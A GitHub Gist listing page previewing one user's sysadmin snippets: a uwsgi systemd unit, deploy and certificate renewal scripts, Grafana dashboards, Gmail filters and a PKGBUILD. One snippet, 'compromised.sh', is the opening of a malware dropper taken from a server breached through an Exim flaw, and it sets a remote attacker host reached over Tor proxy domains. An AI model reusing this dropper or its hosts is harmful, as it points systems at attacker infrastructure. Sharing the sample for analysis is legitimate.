Skip to content

Instantly share code, notes, and snippets.

@worldwise001
worldwise001 / uwsgi@.service
Created May 10, 2020
systemd unit for uwsgi
View uwsgi@.service
[Unit]
Description=%i uWSGI app
After=network.target
[Service]
ExecStart=/srv/http/%i/venv/bin/uwsgi --ini /srv/http/%i/uwsgi.ini --logto /var/log/uwsgi/%i.log --force-cwd /srv/http/%i --uid http --gid http -b 32768 --http-socket /tmp/%i.sock --vacuum
Restart=on-failure
KillSignal=SIGQUIT
Type=notify
StandardError=syslog
@worldwise001
worldwise001 / refresh.sh
Last active May 10, 2020
artifact "build" + "deploy" script
View refresh.sh
#!/bin/bash
if [[ "$1" = "" ]]; then
echo "need to specify app as argument"
exit 1
fi
app="$1"
pushd /srv/http
View grafana-tor.json
{
"annotations": {
"list": [
{
"builtIn": 1,
"datasource": "-- Grafana --",
"enable": true,
"hide": true,
"iconColor": "rgba(0, 211, 255, 1)",
"name": "Annotations & Alerts",
View gsuite.xml
<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom' xmlns:apps='http://schemas.google.com/apps/2006'>
<title>Mail Filters</title>
<id>tag:mail.google.com,2008:filters:1441150918069,1441152729189,1514931430096,3566681520295870698,4571699068684945648,z0000001568913719296*0569792241890883702</id>
<updated>2019-11-19T04:52:52Z</updated>
<entry>
<category term='filter'></category>
<title>Mail Filter</title>
<id>tag:mail.google.com,2008:filter:1441150918069</id>
<updated>2019-11-19T04:52:52Z</updated>
View dashboard.json
{
"annotations": {
"list": [
{
"builtIn": 1,
"datasource": "-- Grafana --",
"enable": true,
"hide": true,
"iconColor": "rgba(0, 211, 255, 1)",
"name": "Annotations & Alerts",
View blah.py
def __init__(self, config: Config, modules: List[str]):
kwargs = config.get('MYSQL_ENGINE_ARGS')
if not kwargs:
raise Exception('No MYSQL_ENGINE_ARGS set in setup_job_scheduler')
self.available_jobs: Dict[str, Any] = {}
# Import modules as necessary for the purpose of instantiating Jobs
for module_str in modules:
module = import_module(module_str)
if module is not None:
@worldwise001
worldwise001 / printer.sh
Created Jul 2, 2019
simple bash script to turn printer on
View printer.sh
#!/bin/bash
PIN="26"
if [ ! -d "/sys/class/gpio/gpio$PIN" ]; then
echo $PIN > /sys/class/gpio/export;
fi
if [ "`cat /sys/class/gpio/gpio$PIN/direction`" != "out" ]; then
echo out > /sys/class/gpio/gpio$PIN/direction;
@worldwise001
worldwise001 / PKGBUILD
Last active Jun 17, 2019
PKGBUILD for curaengine 15.04
View PKGBUILD
pkgbase=curaengine-old
pkgname=curaengine-old
pkgver=15.04.6
pkgrel=1
pkgdesc="A full software solution for 3D printing aimed at RepRaps and the Ultimaker. (the old one)"
provides=('curaengine')
conflicts=('curaengine')
url="http://blog.ultimaker.com/cura-user-manual/"
license=('AGPLv3')
arch=('i686' 'x86_64' 'armv7h')
@worldwise001
worldwise001 / compromised.sh
Created Jun 14, 2019
extracted from a box popped by exim rce
View compromised.sh
#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="https://an7kmd2wp4xo7hpr"
TOR1=".tor2web.su/"
TOR2=".tor2web.io/"
TOR3=".onion.sh/"
RPATH1='src/ldm'
#LPATH="${HOME-/tmp}/.cache/"
TIMEOUT="75"
@worldwise001
worldwise001 / cert_renewal.sh
Created Jun 13, 2019
cert_renewal.sh (ArchLinux)
View cert_renewal.sh
#!/bin/sh
systemctl stop nginx
certbot renew --authenticator standalone --agree-tos
systemctl start nginx
systemctl restart slapd
systemctl restart dovecot
systemctl restart exim
cat /etc/letsencrypt/live/x.shh.sh/chain.pem /etc/ssl/certs/DST_Root_CA_X3.pem > /srv/common/slapd.pem